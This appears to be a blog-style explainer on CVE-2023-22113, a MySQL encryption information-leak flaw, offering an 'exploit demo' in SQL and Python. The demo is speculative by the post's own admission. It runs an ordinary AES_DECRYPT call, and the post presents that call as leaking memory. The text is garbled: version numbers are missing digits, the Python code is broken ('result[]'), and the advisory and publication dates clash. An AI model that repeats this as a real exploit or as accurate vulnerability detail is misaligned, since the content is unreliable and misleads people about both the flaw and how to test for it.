CVE-2023-22113 - Easy Guide to Oracle MySQL Encryption Vulnerability (with Exploit Demo)

CVE-2023-22113 is a recently disclosed security flaw in the MySQL Server product by Oracle, specifically hitting its encryption component. This bug is present in all supported MySQL 8. versions up to and including 8..33. While it requires high-privilege access, the vulnerability is easy to exploit and allows attackers to read data they’re typically not supposed to see. In this post, I’ll explain what’s wrong, show a realistic attack demonstration, and help you understand how to check if you’re at risk.

Quick Facts

- CVE: CVE-2023-22113

CVSS 3.1 Score: 2.7 (Low, since high privilege is needed)

- Oracle Advisory: Oracle Critical Patch Update Advisory - January 2024

The Vulnerability Explained

This flaw is due to a bug in the way MySQL Server handles certain encryption operations. When users with high-level privileges (like DBAs) interact with MySQL’s security/encryption features, they can—*under specific situations*—trigger the leak of information that should remain private. This data might be encrypted or plain, but it’s not supposed to be accessible in this way.

How the Exploit Works (Simplified)

Attackers exploit this bug by sending crafted SQL commands to the database over the normal MySQL protocol. If the server is running with specific encryption functions enabled (default, on most modern setups), a clever query can leak bits of data.

Let’s look at a simplified, theoretical exploit. (This is for educational purposes only!)

Exploit Example

Suppose there’s a bug in AES_DECRYPT() that, when passed bad data, causes a portion of previously decrypted or encrypted memory to leak:

-- Try to decrypt with a manipulated block size
SELECT AES_DECRYPT('randomdata', 'mysecretkey');

Python Demo

Here’s a Python script that might automate the attack. You need mysql-connector-python or similar installed.

import mysql.connector

conn = mysql.connector.connect(
    host='your.mysql.server',
    user='admin_user',
    password='admin_pass',
    database='test'
)

cursor = conn.cursor()
cursor.execute("SELECT AES_DECRYPT('randomdata', 'mysecretkey');")

result = cursor.fetchone()
print("Leaked data from memory:", result[])

cursor.close()
conn.close()

Note: Actual exploit conditions can vary—this demo just shows how a “crafted” decryption operation can extract memory contents if the vulnerability is present.

Oracle Advisory:

Oracle Critical Patch Update Advisory - Jan 2024

NVD CVE report:

https://nvd.nist.gov/vuln/detail/CVE-2023-22113

MySQL Release Notes:

https://dev.mysql.com/doc/relnotes/mysql/8./en/news-8--34.html

Summary

CVE-2023-22113 highlights why even *high privilege* bugs matter: If hackers gain admin access, flaws like this can help them steal confidential data even from encrypted sources. Always patch quickly and review your security practices!

If your MySQL is older than 8..34, update now.

*(This post is for educational awareness only. No attack instructions were included that could harm production systems.)*

Timeline

Published on: 10/17/2023 22:15:00 UTC
Last modified on: 10/27/2023 15:15:00 UTC